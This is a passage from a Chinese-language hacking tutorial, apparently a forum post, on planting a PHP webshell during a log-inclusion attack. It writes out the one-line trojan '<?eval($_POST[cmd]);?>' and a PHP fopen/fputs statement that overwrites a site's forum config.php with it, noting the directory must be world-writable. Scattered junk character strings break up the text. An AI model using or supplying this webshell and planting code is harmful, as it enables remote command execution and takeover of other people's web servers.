因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
9 g1 }3 P+ k9 m4 Z0 @
4 s# W9 `- a {* u6 x7 |" o比如还是这句一句话木马
- C% ]+ @9 N! C' g1 X<?eval($_POST[cmd]);?>

到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
; H" j7 f) P* K* S; @4 N1 jfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 4 `" [' V9 ^: w
* k; y W+ b: x/ e' o
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); ; Q# B2 k5 \8 y$ `* z2 b% L
fclose($fp);?> //在config.php里写入一句木马语句

PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
